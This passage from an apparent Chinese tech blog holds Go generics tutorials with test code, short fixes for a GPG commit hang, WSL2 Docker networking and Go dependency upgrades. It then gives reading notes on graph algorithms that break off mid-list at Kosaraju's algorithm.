在实例化之后，泛型函数的行为就跟普通函数没什么不同：

GenericsMinIntInstance := GenericsMin[int]
gotInt := GenericsMinIntInstance(inputIntX, inputIntY)

在这里，GenericsMinIntInstance 实际上就是我们最初编写的函数 Min(x, y int) int。

类型参数的行为跟普通的类型是一样的，同样可以为它添加方法：

type TwoNumber[T constraints.Ordered] struct {
	X T
	Y T
}

func (t *TwoNumber[T]) Min() T {
	if t.X < t.Y {
		return t.X
	}
	return t.Y
}

func TestTwoNumberMin(t *testing.T) {
	var inputIntX int = 1
	var inputIntY int = 2
	var wantInt int = 1
	intTwoNumber := TwoNumber[int]{X: inputIntX, Y: inputIntY}
	gotInt := intTwoNumber.Min()
	if gotInt != wantInt {
		t.Errorf("gotInt %v, wantInt %v", gotInt, wantInt)
	}

	var inputFloatX float64 = 1.1
	var inputFloatY float64 = 2.2
	var wantFloat float64 = 1.1
	floatTwoNumber := TwoNumber[float64]{X: inputFloatX, Y: inputFloatY}
	gotFloat := floatTwoNumber.Min()
	if gotFloat != wantFloat {
		t.Errorf("gotFloat %v, wantFloat %v", gotFloat, wantFloat)
	}
}

其中，constraints.Ordered 是一个 interface，它的定义在 golang.org/x/exp/constraints 中：

type Ordered interface {
	Integer | Float | ~string
}

它起到了类型约束的作用。

类型集视角

在引入泛型之前，我们把 interface 当成是方法约束，只有实现了所有 interface 中定义的方法，我们才称实现了 interface 接口。

而现在，在 Go 1.18 引入泛型之后，规定类型约束也必须是一个 interface，所以我们需要用一种新的视角来融合旧的方法约束和新的类型约束，这就是类型集视角。

可以理解为，interface 定义了一组类型（方法），任何满足了类型约束（方法约束）的泛型参数传参（结构体实例），都可以成为实现了该 interface。

所以，为类型约束 interface 添加新的类型，等同于方法约束 interface 添加新的方法：

type Ordered interface {
	Integer | Float | ~string | bool
	NewMethod()
}

上述代码分别为 Ordered interface 添加了新的类型 bool 和新的方法 NewMethod()。可以看出通过 | 符号来扩展类型约束集合。

有时候，我们会自定义类型，而类型约束不知道我们自定义的类型，所以不满足约束条件。

可以通过在原始类型前面加上 ~ 符号，表示类型约束只会约束原始类型。

通过 type MyString string 自定义类型后，MyString 也符合 ~string 的类型约束。

定义约束

我们可以命名类型约束 interface，如：Ordered。也可以在定义泛型函数时直接嵌入。

命名类型约束 interface：

type Element interface {
}

type Slice interface {
	~[]Element
}

func Sum[S Slice, E Element]() {
}

在这个例子中，Element 表示可以传入任意类型，类似于以前的空 interface。Slice 表示可以传入任意元素类型的切片。

相当于：

func Sum[S interface{ ~[]E }, E interface{}]() {
}

因为不会有歧义，所以可以通过删除第一个类型参数的 interface{} 来简化：

func Sum[S ~[]E, E interface{}]() {
}

又因为空 interface 很常见，Go 1.18 引入了 any 作为 interface{} 的别名，在源码中的定义为：type any = interface{}。

所以可以用 any 替换 interface{}，语义上也是合理的，表示任意类型：

func Sum[S ~[]E, E any]() {
}

类型推断错误

在使用自定义类型的时候，类型推断可能会造成错误。

type Point []int32

func (p Point) String() string {
	return ""
}

func Scale[E constraints.Integer](s []E, c E) []E {
	r := make([]E, len(s))
	for i, v := range s {
		r[i] = v * c
	}
	return r
}

泛型函数 Scale 的功能是传入一个切片和一个数字，返回乘上了这个数字的新切片。

通过测试用例来测试：

func TestScale(t *testing.T) {
	var inputPoint Point = []int32{1, 2, 3}
	gotPoint := Scale(inputPoint, 2)
	t.Logf("%v", gotPoint.String())
}

这个测试用例无法编译，因为返回值 gotPoint 的类型不是我们预期的 Point，而是 []int32，所以没有 String() 方法。

这是因为 Scale 的返回值是 []E，即 []int32，没有考虑到自定义类型。

可以通过显式定义自定义类型的类型参数来修复：

func Scale[S ~[]E, E constraints.Integer](s S, c E) S {
	r := make(S, len(s))
	for i, v := range s {
		r[i] = v * c
	}
	return r
}

现在，如果我们通过普通切片（[]int32）来调用新函数，返回值的类型同样为普通切片；如果我们通过自定义类型（Point）来调用新函数，返回值的类型同样为自定义类型。

运行测试也能够顺利通过。

那么，为什么 Go 编译器能够准确地推断出参数的类型呢？答案在于 Go 编译器使用了约束类型推断（constraint type inference）。

当一个类型参数（S ~[]E）由另一个类型参数（E constraints.Integer）组成时，并且使用了 ~ 符号时，Go 编译器就能通过一个类型参数来推断出另一个类型参数。

对于传入的 S，它的类型为 ~[]E，即 E 类型的切片，在类型参数传参为 []int32 时，就可以推断出 E 为 int32。

尽管类型推断的内部原理较为复杂，但使用起来很简单。即便出现类型推断错误，也只是编译时错误，只要加上对应的类型即可。

使用泛型的建议

什么时候使用泛型：

使用语言内置的数据类型时，如：切片、map 和 channel；
使用通用的数据类型时，如：链表、二叉树；
实现通用方法时，如：标准库 sort.Interface 中的 3 个方法（Len、Swap、Less）。

什么时候不应该使用泛型：

不要用类型参数替换接口类型，如：io.Reader；
如果方法实现不同，就应该实现不同的方法，而不是强行使用类型参数，如：Read()；
运行时反射很有用，泛型不能完全代替它，如：encoding/json。

指导方针：

对于类型参数，传入函数优于添加方法，如：二叉树中的比较函数；
不要因为追求速度而从接口类型更改为类型参数，因为它可能不会运行得更快；
如果你发现自己写的几份代码之间的唯一区别是类型，就应该使用泛型；反过来说，应该一直避免使用泛型，直到你意识到你在写重复的代码。

新的预声明标记符 any 和 comparable

从语义的角度，any 更为清晰，可以用它来替换 interface{}。使用以下命令可以帮你定位到使用 interface{} 的代码：

find . -name "*.go" | xargs grep "interface{}"

并使用以下命令进行替换：

gofmt -w -r 'interface{} -> any' .

comparable 是一个 interface，可以用作类型约束，表示所有可以进行比较的类型。

跟泛型有关的官方包

golang.org/x/exp/constraints：提供了常见的的类型约束；
golang.org/x/exp/slices：提供了对泛型切片进行操作的函数；
golang.org/x/exp/maps：提供了对泛型 map 进行操作的函数。

参考链接

An Introduction To Generics

When To Use Generics

切换到Go 1.18后的第一件事：将interface{}全部替换为any

Go 1.18 Release Notes

Golang 泛型初级教程

Thu, 11 Jan 2024 14:34:33 GMT

泛型的优势

泛型编程（Generic Programming）是现代编程语言中的一项强大功能，它允许程序员编写出一种通用的形式来表示函数或数据结构，从而抽象出数据类型。

泛型的使用可以极大地减少代码重复，增加程序的灵活性与可维护性。

对于库的开发者来说，泛型的确引入了额外的复杂性；但对库的使用者而言，泛型提供了简洁和强大的工具，极少地增加了复杂性。

初级教程

首先，来看两个函数，它们的功能都是计算一个切片中所有元素的总和：

func SumInts(s []int) int {
	var r int
	for _, v := range s {
		r += v
	}
	return r
}

func SumFloats(s []float64) float64 {
	var r float64
	for _, v := range s {
		r += v
	}
	return r
}

但因为它们处理的数据类型不同（一个是 int，另一个是 float64），我们不得不为每种类型编写一个新函数。

泛型在这里发挥作用，允许我们使用类型参数来泛化函数的实现。

可以通过一些测试用例来确认函数的正确性：

func TestSumInts(t *testing.T) {
	inputInts := []int{1, 2, 3}
	wantInt := 6
	gotInt := SumInts(inputInts)
	if gotInt != wantInt {
		t.Errorf("gotInt %v, wantInt %v", gotInt, wantInt)
	}
}

func TestSumFloats(t *testing.T) {
	inputFloats := []float64{1.1, 2.2, 3.3}
	wantFloat := 6.6
	gotFloat := SumFloats(inputFloats)
	if gotFloat != wantFloat {
		t.Errorf("gotFloat %v, wantFloat %v", gotFloat, wantFloat)
	}
}

接下来通过泛型代码来重写：

func SumIntsOrFloats[T int | float64](s []T) T {
	var r T
	for _, v := range s {
		r += v
	}
	return r
}

func TestSumIntsOrFloats(t *testing.T) {
	inputInts := []int{1, 2, 3}
	wantInt := 6

	gotInt := SumIntsOrFloats[int](inputInts)
	if gotInt != wantInt {
		t.Errorf("gotInt %v, wantInt %v", gotInt, wantInt)
	}

	inputFloats := []float64{1.1, 2.2, 3.3}
	wantFloat := 6.6
	gotFloat := SumIntsOrFloats[float64](inputFloats)
	if gotFloat != wantFloat {
		t.Errorf("gotFloat %v, wantFloat %v", gotFloat, wantFloat)
	}
}

可以看到，泛型函数声明后面多了一对方括号 []，然后才是正常函数的参数和返回值。

在方括号里面的内容可以用类似正常变量声明的方式来阅读：[T int | float64] 表示声明了一个变量 T，T 的类型是 int 或 float64，| 表示或。

在这里，T 叫做类型参数，可以理解为把类型（int、float64、bool 等）当作参数变量来使用。而 int | float64 叫做类型约束，表示类型参数允许的类型集合。

然后在参数和返回值里，就可以像使用普通类型一样来使用这个类型参数。

(s []T) T 表示传入一个名为 s 的参数，类型是 []T，返回一个 T 类型的值。

可以自然地把类型参数 T 视为 int 或 float64 的一个占位符：

在 T 为 int 时：(s []T) T 等同于 (s []int) int，表示传入一个名为 s 的参数，类型是 []int，返回一个 int 类型的值；
在 T 为 float64 时：(s []T) T 等同于 (s []float64) float64，表示传入一个名为 s 的参数，类型是 []float64，返回一个 float64 类型的值。

在函数内部，也可以像使用普通类型一样来使用这个类型参数：var r T 表示声明了一个变量 r，r 的类型是 T，既是 int 或 float64。

在调用泛型函数的时候，像传入普通参数一样传入类型：SumIntsOrFloats[int](inputInts)。只不过传入类型时使用方括号，传入参数还是像以前一样使用圆括号。

一般情况下，可以不用传入类型，像普通函数一样调用 SumIntsOrFloats(inputInts)，因为 Go 编译器会根据传入的参数来推断类型。

在这里，前面已经通过 inputInts := []int{1, 2, 3} 来显式声明参数类型，是 []int，所以 Go 编译器能够推断出来正确的类型。

如果调用的泛型函数没有参数，就不可能通过参数来推断类型，这时就需要显式传入类型参数。

接下来可以进一步优化代码，通过接口来定义类型约束，来使得它能够被多个函数使用：

type Number interface {
	int | float64
}

func SumNumbers[T Number](s []T) T {
	var r T
	for _, v := range s {
		r += v
	}
	return r
}

func TestSumNumbers(t *testing.T) {
	inputInts := []int{1, 2, 3}
	wantInt := 6

	gotInt := SumNumbers(inputInts)
	if gotInt != wantInt {
		t.Errorf("gotInt %v, wantInt %v", gotInt, wantInt)
	}

	inputFloats := []float64{1.1, 2.2, 3.3}
	wantFloat := 6.6
	gotFloat := SumNumbers(inputFloats)
	if gotFloat != wantFloat {
		t.Errorf("gotFloat %v, wantFloat %v", gotFloat, wantFloat)
	}
}

在这里，我们定义了一个名为 Number 的 interface，跟以前不同，interface 里面不是方法，而是类型的集合。

通过将 Number 放在类型参数的后面，就可以起到类型约束的效果。

参考链接

Why Generics?

Tutorial: Getting started with generics

修复使用 GPG 密钥时 git commit 卡住的问题

Wed, 03 Jan 2024 14:34:33 GMT

使用 GPG 密钥时 git commit 有时候会卡住。

可以通过一下命令来重启 gpg-agent 和 ssh-agent：

gpgconf --kill gpg-agent && killall ssh-agent

修复 WSL2 镜像网络模式下无法连接 Docker 的问题

Tue, 02 Jan 2024 05:22:18 GMT

问题

在 2023 年 9 月的 Windows 11 更新中，WSL2 支持了新的网络模式：镜像（mirrored）。它能够通过 localhost 地址从 WSL2 内部连接到 Windows 的 127.0.0.1 地址。

可以在 %UserProfile%/.wslconfig 添加 networkingMode=mirrored 来启用它。

但是这会导致无法连接到 Docker 的问题：dial tcp 127.0.0.1:3306: connect: connection refused。

该问题的原因是 Docker 使用了 iptables 来转发端口。

可以通过以下方法来修复这个问题。

使用 Docker Desktop

方法 1

直接将 Docker Desktop 升级到 4.26 以上版本即可，该版本添加了对镜像网络模式的支持。

方法 2

或者在 .wslconfig 中添加：

[experimental]
networkingMode=mirrored
hostAddressLoopback=true
ignoredPorts = 8000,8080

通过 ignoredPorts 来设置你需要访问的应用的端口。

使用其它 Docker 发行版

在 .wslconfig 中添加：

[experimental]
networkingMode=mirrored
hostAddressLoopback=true

并且编辑 docker 配置文件：/etc/docker/daemon.json，添加：

{
"iptables": false
}

缺点是这样无法使用 iptables。

参考链接

WSL 2.0: networkingMode=mirrored makes Docker unable to forward ports #10494

Windows Subsystem for Linux September 2023 update

如何升级 Golang 和依赖的版本

Sun, 31 Dec 2023 14:32:18 GMT

升级 Golang 版本

在项目下使用命令：go mod edit -go=1.21.3，也可以直接修改 go.mod 文件的 go 字段。

升级依赖项版本

在项目下使用命令：go get -u ./...，此命令会将项目中所有依赖项的版本更新为最新版本。

依赖项破坏性更新

如果依赖项的更新是破坏性的，即不兼容之前的版本，则无法通过 go 工具来自动更新。此时需要手动调整 go.mod 文件和导入的包名。

例如 beego 的升级：从 github.com/astaxie/beego v1.12.2 修改为 github.com/beego/beego/v2。

例如 gorm 的升级：从 github.com/jinzhu/gorm v1.9.12 修改为 gorm.io/gorm v1.25.5；数据库驱动则修改为 gorm.io/driver/mysql v1.5.2，其它的数据库名称在 go-gorm 查看。

参考链接

How to upgrade the go version in a go mod

How To Upgrade Golang Dependencies

GORM 2.0 发布说明

【读书笔记】数据结构与算法分析 - C 语言描述 - 第五部分 - 图算法

Mon, 02 May 2022 07:24:05 GMT

第十七章图的性质

图的定义：元素的集合 + 元素之间连接的集合
图论是组合数学的一个主要分支
图的应用例子：地图；超文本；电路；调度；事务；匹配；网络；程序结构
任何链式结构都是图的一种表示
树和链表的算法都是图算法的特例
算法的开销：元素集性质 + 连接集性质
术语：
- 图：顶点集 + 边集
- 约定：V：顶点数；E：边数
- 边将一对不同的顶点连接在一起，每对顶点间至多有一条边连接
- 重复边（平行边）：每对顶点间可有任意边相连（多重图）
- 自环：顶点连接到自身的边
- 简单图：无重复边 + 无自环
- 带自环的多重图
- 边数：V 个顶点至多有 V(V-1)/2 条边
- 称谓：
  - 点：顶点、结点（数据结构）
  - 边：边、链接（数据结构）、弧
- 关系：
  - 一条边连接两个顶点
  - 两个顶点是相互邻接的：A、B 相互邻接
  - 这条边是依附于这两个顶点的：C 依附于 A、B
- 顶点的度：依附于这个顶点的边数
- 子图：原图的边子集 + 顶点子集组成的图
- 导出子图：
- 绘图：把顶点放在平面上，并画出边
  - 约束：边不相交
- 平面图：能在平面上画出的，且边不相交的图
- 欧几里得图：距离相关的图
- 图同构：有两个图，改变其中一个图的顶点编号后的边集与另一个图相同
  - 对于顶点编号有 V! 种可能
- 路径：顶点的序列，其中相邻的顶点在图中也是相邻接的
  - 简单路径：顶点和边都不相同
    - 环：第一个顶点和最后一个顶点相同，且为简单路径
  - 回路：第一个顶点和最后一个顶点相同，但不必是简单路径
    - 周游路径：包含图中所有顶点的回路
  - 长度：边数
  - 不相交的：
    - 顶点不相交：两条简单路径除端点外无公共顶点
    - 边不相交：没有公共边
- 连通图：任意顶点到任意顶点都有路径
  - 不连通的图由数个连通分量组成
  - 最大连通分量：在该子图中的顶点没有到图中其它顶点的路径
- 树：无环连通图
- 森林：树的集合
- 生成树（连通图）：子图中包含所有顶点，且是一棵树
- 生成森林（图）：子图中包含所有顶点，且是一个森林
- 图是树的条件：各为充分必要条件
  - 有 V-1 条边，且无环
  - 有 V-1 条边，且连通
  - 每对顶点间只有一条简单路径
  - 图连通，但删除任意边后就不连通了
- 完全图：所有顶点与所有顶点间均有边相连
- 补图：完全图 - 原图（边相减，顶点不变）
- 图的并集：边集的并集导出
- 任意有 V 个顶点的图都是有 V 个顶点的完全图的子图
- 有 V 个顶点的图形式共有 2^{V(V-1)/2} 种
- 团：一般图中出现的完全图子图
- 图的稠密度：平均顶点度：2E/V
- 稠密图：平均顶点度与 V 成正比：E 与 V^2 成正比
- 稀疏图：补图为稠密图的图
- 二分图：顶点分为两个集合，任意边依附的顶点来自不同的集合
  - 递归：任何子图也是二分图
- 有向图：边是单向的，顶点对是有序的（不能任意调换位置）
  - 有向边：箭头表示：v->w
    - 第一个顶点：源点（头，head）
    - 第二个顶点：目的点（尾，tail）
  - 顶点：
    - 入度：进入该点的边数（以该点为目的点的边数）
    - 出度：离开该点的边数（以该点为源点的边数）
  - 有向环
  - 有向无环图（DAG）
  - 潜在无向图：边可以解释为是无向的
- 加权图（网）：边关联权值或顶点关联权值，可有多个权值
图的 ADT：
- 静态图：有固定的顶点和边
- 动态图：图处理时会有边或顶点的插入和删除：在线算法（动态算法）
- 任务：
  - 计算图中某个度量的值：连通分量数；最短路径
  - 计算图中某个边子集：生成树；含给定顶点的最长环
- 图表示的要求：
  - 包含应用中的图类型（不愿意浪费空间）
  - 有效构造所需的数据结构
  - 算法不过度受到表示的约束
- 邻接矩阵：稠密图：E 与 V^2 成正比
- 邻接表：稀疏图：与 V+E 相比来说 V^2 很大
边数组：

邻接矩阵表示：
- 定义：
  - V*V 的布尔数组，有权值时为整数数组
  - 二维数组
  - 有 v-w 这条边时，v 行 w 列值为 1
  - 空间：V^2
- 无向图时是对称的，可以根据这个特性来节省空间
- 自动不允许平行边，其它表示时不允许平行边需要很大的开销
- 使用的理由：
  - V^2 很小，使表示的时间可被忽略
  - 算法多于 V^2 步
邻接表表示：
- 定义：
  - 将在图中与某顶点邻接的顶点都放入一条链表中
  - 使用链表数组，给定顶点可访问到那条链表
- 链表的特点：增加新边只需常量时间
- 空间：与 V+E 成正比
- 检查重复边需搜索链接表，与 V 成正比
- 删除边：与 V 成正比
- 链表中元素顺序有异
- 改进：常量时间的删除边和平行边检测
- 缺点：检查边与 V 成正比
- 符号表：常量查找边
- 变长数组（大型静态表）
变量、扩展和开销：
- 改进：
  - 扩展基本结构可表示其它类型的图
  - 修改或增大数据结构使某些操作更高效
- 检测 v 的度是否为 0：
  - 邻接矩阵：每行每列与 v 对应的元素
  - 邻接表：adj[v]
  - 边数组：所有 E 边
  - 顶点索引数组可以常量时间
边数组、邻接矩阵和邻接表开销：

	边数组	邻接矩阵	邻接表
占用空间	E	V^2	V+E
初始化为空	1	V^2	V
复制	E	V^2	E
销毁	1	V	E
插入边	1	1	1
查找或删除边	E	1	V
v 的度是否为 0	E	V	1
u 到 v 是否有路径	ElgV	V^2	V+E

图生成器：
- 随机图生成器：
  - 随机边：出现大量自环和平行边，适合稀疏图
  - 随机图：排除了重复边，边数不准确，适合稠密图
- 图的类型：K-近邻图；欧几里得近邻图；事务图；函数调用图；分离度图；区间图；de Bruijn 图
简单路径、欧拉路径和哈密顿路径：
- 找出连接两个给定顶点的一条路径：线性
- 图算法中线性代表：在图规模 V+E 的一个常量因子内
- 哈密顿路径：给定两个顶点有一条简单路径，且访问图中所有顶点一次
  - 哈密顿回路问题：从顶点又回到自身
  - 最坏：指数
- 欧拉路径：给定两个顶点有一条路径访问图中所有边一次（路径可非简单路径，顶点可访问多次）
  - 欧拉回路：从顶点又回到自身，图连通，且所有顶点为偶数度数
  - 欧拉路径：图连通，且只有两个顶点为奇数度数
  - 直接递归实现：阶乘
  - 可达到线性
图处理问题：
- 简单（容易）：可用某种精致而有效的小程度解决
  - 简单连通性；有向图中的强连通性；传递闭包；最小生成树；单顶点最短路径
- 易解的：时间、空间由图规模（V+E）的一个多项式函数限定
  - 平面性；匹配；有向图中偶环；指派；一般连通性；邮差问题
- 难解的（NP-难）：无合理时间
  - 最长路径；可着色性；独立集；团
- 未知的：无高效解，且无法认定为 NP-难问题
  - 图同构

第十八章图搜索

定义：系统地检查图中每个顶点和每条边
DFS：
- 解决连通性问题
- 两种实现：
  - 递归（系统栈）
  - 显式栈
BFS：
- 解决最短路径问题
- 实现：用队列替代 DFS 中的栈
探索迷宫：
- Trémaux 搜索：
  - 步骤 1, 2, 3
  - 可访问所有顶点和边
  - 右手靠墙时，且图中有环路时无法探索整个迷宫
  - 根据通道有 4 种情况：1, 2, 3, 4
深度优先搜索：对顶点标记，然后递归地访问与该顶点邻接，且未被访问过的顶点
- 遇到 v-w 边时：
  - w 未被标记：递归调用
  - w 已被标记：跳过
  - 相反边 w-v：忽略
- DFS 树（递归调用树）：搜索过程的一种结构性描述
图搜索 ADT 函数：
- 图搜索方法：
  - 从顶点到顶点沿着边行进，目的是为了系统地访问每个顶点每条边
  - 图不连通时（多个连通分量）：每个连通分量调用一次
  - 步骤：
    1. 查找一个未标记的顶点（起始顶点）
    2. 访问包含起始顶点的连通分量重的所有顶点，并标记为已访问
    3. 直至图中所有顶点都被标记为已访问
  - 每条边定量处理：线性或近似线性
- DFS 运行时间：
  - 邻接矩阵：与 V^2 成正比
  - 邻接表：与 V+E 成正比
  - 与图规模呈线性
- DFS 函数：基于 DFS 模式的所有实现
- 使用基于顶点索引的数组：
  - 全局变量：搜集图结构的信息
  - 在图的表示中：计算图信息预处理函数
  - 作为函数参数由客户提供：实现 ADT
- 标准邻接矩阵 DFS
- 标准邻接表 DFS
DFS 森林的性质：
- DFS 访问结点的顺序与前序遍历树的内部结点的序列相同：图搜索为树遍历的推广
- 边：检查边等同于访问边
  - 树边：表示递归调用的边
    - 第一次：树链接：w 未被初始化：递归调用
    - 第二次：父链接：st[w] 为 v：忽略
  - 回边：将某顶点与它的 DFS 树中祖先顶点相连的边，且该祖先不是其父结点
    - 第一次：回链接：pre[w] < pre[v]（st[w] != v），pre[] 为前序编号：未完成
    - 第二次：下链接：pre[w] > pre[v]：已完成
- 连通分量个数 = DFS 森林中树的个数
DFS 算法：
- 应用：
  - 环检测：一次 DFS 中无回边或向下边则表示无环
    - 邻接矩阵：与 V^2 成正比；邻接表：与 V 成正比
  - 简单路径：线性
  - 简单连通性：线性，图只调用 DFS 一次
  - 双向欧拉回路
  - 生成树：DFS 树
  - 顶点搜索：顶点计数
  - 2-可着色性、二分图性、奇环：按照层次交替指定颜色，并在着色过程中检查回边是否存在不一致性
可分离性和双连通性：
- 桥（可分离的边）：图中的某条边，当删除它时会让一个连通图分成两个不相交的子图
- 边连通的图：不含有桥的图：每对顶点由两条边不相交的路径连接，边不相交意味着可由公共点，但不能有公共边
- 边可分离的图：不是边连通的图
- 边连通分量（桥连通分量，不含桥的最大子图）：删除一个边可分离的图中的所有桥而得到的分量（子图）
- DFS 树中的树边 v-w 是桥，当不存在回边时，把 w 的子孙结点和 w 的祖先结点连接起来
- 识别桥：线性
- 关结点（分离顶点、切割点）：图中的某个顶点，当删除它时会让一个连通图分成至少 2 个不相交的子图
- 可分离的：图不是双连通的
- 顶点连通的图（双连通的图）：
  - 图中每对顶点都有两点不相交的路径
  - 不含关结点的图
  - 顶点连通的图都是边连通的，但边连通的图不一定是顶点连通的
- 找出关结点和双连通分量：线性
- 顶点：1 连通 = 连通；2 连通 = 双连通
  - 图是 k 连通的：至少有 k 条不相交的路径连接每对顶点
  - 图的顶点连通度：将图分成 2 部分所要删除的最小顶点数
  - Menger 定理：顶点连通度 = 顶点间顶点不相交路径的最大个数
- 边：2 边连通 = 边连通
  - 图是 k 边连通的：至少有 k 条边不相交的路径连接每对顶点
  - 图的边连通度：将图分成两部分所需删除的最少边数
- st 连通性：将 s、t 分离所需删除的最小边数或顶点数
- 一般连通性：图的边连通度或顶点连通度
广度优先搜索：
- 定义：为了找出从 v 到 w 的一条路径，从 v 开始，对于可以从 v 用 1 条边到达的所有顶点，检查这些顶点是否为 w。不是则检查从 v 用 2 条边到达的顶点，3 条边以此类推。直到找到 w
- 队列用作边缘集的数据结构
- 队列中的边将访问过的顶点与未访问过的顶点相连
- 顶点按照与起始顶点的距离大小进入或离开队列：0, k, k+1
- 步骤：
  1. 从队列中取边，直到某条边指向一个未被访问过的顶点
  2. 访问该顶点，再将从此顶点到未被访问顶点的所有边放入队列中
  3. 直至队列为空
- 以 v 为根的 BFS 树，树中某点 w 到 v 的路径对应着图中 v-w 的最短路径
- 邻接矩阵时：与 V^2 成正比
- 邻接表时：与 V+E 成正比
- 应用：
  - 最短路径（点到点）
  - 单源点最短路径（点到所有点）
  - 所有对之间最短路径（对每个点执行单源点）
广义图搜索：
- 边缘集：下一次向树中添加的可能候选边集合
- 通用方案：将边缘集中的一条边移到树中，访问这条边指向的顶点，并将由该顶点指向未访问顶点的所有边放入边缘集中，在边缘集中使用一种替换策略来保证其中任意两条边都不指向同一顶点
- 无重复目的顶点：
  - DFS：忘记旧元素的栈
  - BFS：忽略新元素的队列
- 广义队列（V）+ 替换策略 = 线性访问所有顶点和所有边，空间与 V 成正比
  - 邻接矩阵：与 V^2 成正比 + 最坏情况下 V 次插入、V 次删除、E 次更新
  - 邻接表：与 V+E 成正比 + 最坏情况下 V 次插入、V 次删除、E 次更新
- 策略：随机队列；优先队列
图算法分析：
- 寻求理然的、自然的输入模型：设计-分析-实现-测试
  - 充分反映实际：大量类型的图
  - 数学分析检验：数学分析有难度，很多基本分析问题尚未定论
  - 生成器、问题实例：无法刻画在实际中出现的图类型
- 大型的非稀疏随机图很可能是连通的
- 对于大型稀疏图不应该使用邻接矩阵表示（超大型同样不应该）：初始化数组开销昂贵、算法需要检查数组的每个元素
- 为大型稀疏图构建邻接表时，为链表结点分配内存的开销很大，为遍历的 5 倍：考虑预先分配数组来降低内存分配的开销
- 递归 DFS 在图过大时会崩溃：使用非递归版本（栈）
- 合并-查找快于 DFS 或 BFS：因为它不必表示整个图

第十九章有向图和无向图

有向图中两个顶点有 4 种方式：无边；s->t；t->s；s->t 且 t->s
调度问题：完成工作，且不违反优先关系
- DAG、拓扑排序
后面的工作（顶点或边）完成前需要完成前面的：
- 顶点对应工作
- 边对应工作：PERT 图
环检测；拓扑排序；传递闭包和强连通分量
术语和游戏规则：
- 有向图：顶点集 + 连接有序顶点对的有向边集（不含重复边）
- 通常约定每个顶点都有一个自环
- 有向路径：是一个顶点序列，相邻顶点在图中是有边相连的
- s、t 可达的：存在 s 到 t 的路径
- 入度：指向该顶点的边数
- 出度：从该顶点指出的边数
- 源点：入度为 0 的顶点
- 汇点：出度为 0 的顶点
- 求入度、出度、源点、汇点：线性，空间则与 V 成正比
- 映射：允许自环，且所有顶点出度为 1 的有向图，一个将 0~v-1 上的整数集映射到自身的函数
- 逆图：由原图所有边上的方向逆转得到
  - 邻接矩阵：转置（交换行和列），如果是不再修改的，就只用交换对行和列的引用
  - 邻接表：
    - 与 E 成正比构建
    - 维护每条边的两种表示（如无向图），且使用额外一位表示方向（可用指针关联这两条边）
- 有向环：由某个顶点回到其自身的简单有向路径，顶点和边都是不相同的
- 有向无环图（DAG）：没有有向环的有向图
- 有向图是强连通的：每个顶点均由每个顶点可达
- s、t 是强连通的（相互可达的）：s->t 有路径，且 t->s 也有路径：等价关系
- 环路径：由某个顶点回到其自身的路径，该路径不必是简单地
- 非强连通有向图的组成：一组强连通分量（强分量）+ 由一个连通分量到另一个连通分量的一组有向边，其中强连通分量就是最大连通子图
- 核心 DAG：一个由普通有向图转换得来的 DAG，DAG 中每个顶点代表一个强连通分量，顶点间的有向边也对应原图中两个强连通分量中的顶点是否有边相连
有向图中的 DFS 剖析：
- 有向图中树链接与图中的边一一对应：
  - 指向未访问顶点：
    - 树边：递归调用
  - 指向已访问顶点：
    - 回边：顶点到祖先结点：较大后序编号
    - 下边：顶点到子孙结点：较大前序编号
    - 交叉边：顶点到非祖先非子孙结点：较小前序编号
- 有向环检测（DAG检测）：DFS 时无回边
- 单源点可达性：DFS 时间与可达顶点导出的子图中边个数成正比
可达性和传递闭包：
- 传递闭包：与原图有相同顶点，当原图中 s、t 有路径是，传递闭包中有边 s->t
  - 布尔矩阵相乘：可使用任何传递闭包算法计算，最多差常数因子（最好V^2.5）有向边
  - 计算传递闭包：
    - 简洁方法（反复平方法）：有邻接矩阵 A，计算 A^V：与 V^3lgV 成正比
    - Warshall 算法：与 V^3 成正比
      - 适合稠密有向图
      - 改进：把对 A[s][i] 的测试从内循环移出
    - 基于 DFS 的传递闭包：时间：与 V(V+E) 成正比，空间：与 V^2 成正比
      - 适合稀疏图
      - 邻接矩阵表示
      - 邻接表表示：对于稀疏图来说最快
    - 抽象传递闭包：测试可达性的 ADT，时间：V^3，空间：V^2
    - Floyd 算法求加权图最短路径
等价关系和偏序：
- 集合中对象的关系：对象的有序对集合
- 关系与有向图是同一个抽象的不同表示
- sRt 表示有序对 (s, t) 之间存在关系 R
- 关系种类：
  - 对称的：sRt 蕴含着 tRs：无向图
  - 自反的：对所有 s 有 sRs：所有顶点均有自环的图
  - 反自反的：对所有 s 没有 sRs：所有顶点均无自环的图
  - 传递的：有 sRt、tRu，则有 sRu
- 等价关系：自反、对称且传递
  - 示例：模运算；图的连通性
  - 等价类：s \equiv t 表示在同一个等价类中
- 偏序关系：反自反、非对称和传递
  - 示例：子集包含；DAG 中的路径
- 全序关系：对于 s != t，有全序 T 为 sTt 和 tTs 只能有一个成立
- 集合和图模型的对应关系：
  - 关系：有向图
  - 对称关系：无向图
  - 传递关系：图中路径
  - 等价关系：无向图中路径
  - 偏序关系：DAG 中的路径
有向无环图：
- 调度：在约束下完成任务：拓扑排序
  - 约束：所需时间的函数或者任务消耗的其它资源的函数，例如：优先约束：某些任务必须在其它一些任务前执行
- 树表示压缩成 DAG 表示（动态规划）
- 二叉树：一个有向无环图，每个结点可发出两条边，且可接受一条边
拓扑排序：
- 目标：处理 DAG 的所有顶点，使得每个顶点在指向的顶点之前被处理
- 重新编号的拓扑排序
- 重新排列的拓扑排序，也就是常用的术语拓扑排序，与重新编号的拓扑排序相互可得
- 产生的顶点顺序非唯一
- 逆拓扑排序：边从右指向左
  - 可由 DFS 的后序编号而得
  - 正常拓扑排序步骤：
    1. DAG 逆图上进行逆拓扑排序
    2. 栈
    3. 逆序对顶点编号
- 每个 DAG 至少有一个源点和一个汇点
- 基于源点队列的重新编号拓扑排序步骤：
  1. 从队列中删除一个源点，并对其标号
  2. 减少某些顶点的入度
  3. 入度为 0 时，将顶点放入源点队列
  4. 直到源点队列为空
有向无环图中的可达性：
- 利用动态规划和 DFS，对于 DAG 的抽象传递闭包
- 设 X 为 DFS 森林中交叉边的数目：时间：与 V^2+VX 成正比，空间：与 V^2 成正比
- 稠密 DAG 的传递闭包：最坏 VE，但也有一般情况较快的算法
有向图中的强连通分量：
- DAG 中，s->t 有路径，则 t->s 无路径
- 强连通分量（强分量）：由相互可达的顶点组成
- 蛮力算法：使用传递闭包算法，检查每对顶点对 s->t 是否可达，且 t->t 是否可达，将满足此条件的顶点对定义为无向图的一条边，此无向图的连通分量就是原图（有向图）的强分量
- Kosaraju 算法：
  - 步骤：
    1. 构建逆图，并用 DFS 计算一个后序序列（有向图是 DAG 时为拓扑排序）
